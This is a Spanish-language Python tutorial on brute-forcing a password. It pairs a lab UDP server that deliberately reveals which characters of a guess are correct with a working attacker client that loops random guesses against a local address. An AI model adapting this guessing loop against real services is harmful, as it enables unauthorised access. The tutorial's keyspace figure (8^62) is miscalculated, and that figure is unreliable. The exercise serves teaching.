Ataque de fuerza bruta a un servidor con Python

Se denomina ataque de fuerza bruta a la forma de recuperar una clave probando todas las combinaciones posibles hasta encontrar aquella que permite el acceso.

¿Cuántas combinaciones se necesitan para una clave de 8 caracteres?
Para una clave alfanumérica (conformada de números y letras) cada carácter tienes 62 posibles opciones para cada carácter (26 letras mayúsculas, 26 letras minúsculas y 10 números). Para obtener el número total de combinaciones posibles de la clave a buscar es realiza la siguiente operación: 8^62 = 9.807E+55.
Ese es el número máximo de iteraciones que nuestro código en Python deberá ejecutar para encontrar la clave buscada.

Para esta práctica tenemos un script en Python que ejecuta el servidor UDP al que se atacará con fuerza bruta, para reducir el número de combinaciones a evaluar se ha introducido en el script servidor un aviso de error o acierto para cada carácter de la clave, es decir, el servidor nos avisará que carácter (de los ocho caracteres que enviamos al servidor desde el cliente) esta bien y que carácter está mal. Esto reduce el número de iteraciones de nuestro cliente atacante a un máximo de 62 posibilidades por carácter (máximo total de combinaciones = 8×62 = 496). Decimos máximo porque por ejemplo para el primer carácter el cliente puede encontrar el número o letra correcta al intento 32 y no evaluar las 62 posibilidades.

#SERVIDOR UDP
import socket

socket_1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM ) #se define el socket UDP
socket_1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #para poder reusar el socket
socket_1.bind(('192.168.0.106',8000)) #dirección IP y puerto del servidor
print ("Servidor encendido")

while True:
    
    recepcion,direccion = socket_1.recvfrom(204800) #recepción de datos de máximo 1024 bytes
    recepcion = recepcion.decode('utf-8') #cambio de fotmato (necesario para python3)
    print ('Mensaje del cliente: ',recepcion)

    print(direccion[0])

    if recepcion == 'p954y7il': #Direccion del servidor del participante 
        #print ('Envío de respuesta')
        mensaje = 'Ganaste' #Nombre y direccion del participante 
        socket_1.sendto(mensaje.encode('utf-8'),(direccion[0],direccion[1]))
    else:
        print ('Envío de error')
        str_ok=''
        for i,j in zip(recepcion,'p954y7il'):
            if i == j:
                str_ok += str(i) + " está bien\n"
            else:
                str_ok += str(i) + " está mal\n"

        mensaje = 'Te equivocaste pero te damos estas pistas \n' + str_ok
        socket_1.sendto(mensaje.encode('utf-8'),(direccion[0],direccion[1]))

socket_1.close()
print ('Conexion cerrada')

El siguiente código presenta una de las tantas soluciones para este ataque de fuerza bruta. El script atacante construye un mensaje aleatorio de 8 carácteres que envía al servidor, luego evalúa la respuesta del servidor para cada carácter, por ejemplo, si el servidor responde que el primer carácter está bien, el cliente almacena ese carácter, así sucesivamente para cada uno de los 8 caracteres.

#CLIENTE UDP (ATACANTE)
import socket
import random
import string
socket_c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
socket_c.settimeout(0.1)
password = ['', '', '', '', '', '', '','']
message = ''
net_segment = '192.168.0.{:d}'
ip = '192.168.0.105'

while message != 'q':
    invalid_messages = set()
    message = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for _ in range(8))
    if message not in invalid_messages:
        socket_c.sendto(message.encode('utf-8'), (ip, 8000))
        answer = socket_c.recv(1024)
        answer = answer.decode('utf-8')
        answer = answer.split('\n')
        index = - 1
        for letter in answer:
            if letter[-4:] == 'bien':
                letter = letter[0]
                password[index] = letter
            index += 1
        invalid_messages.add(message)
        socket_c.sendto(''.join(password).encode('utf-8'), (ip, 8000))
        answer2 = socket_c.recv(1024).decode('utf-8')
        if answer2 == 'Ganaste':
            print(answer2)
            print('With the password:', ''.join(password))
            break
socket_c.close()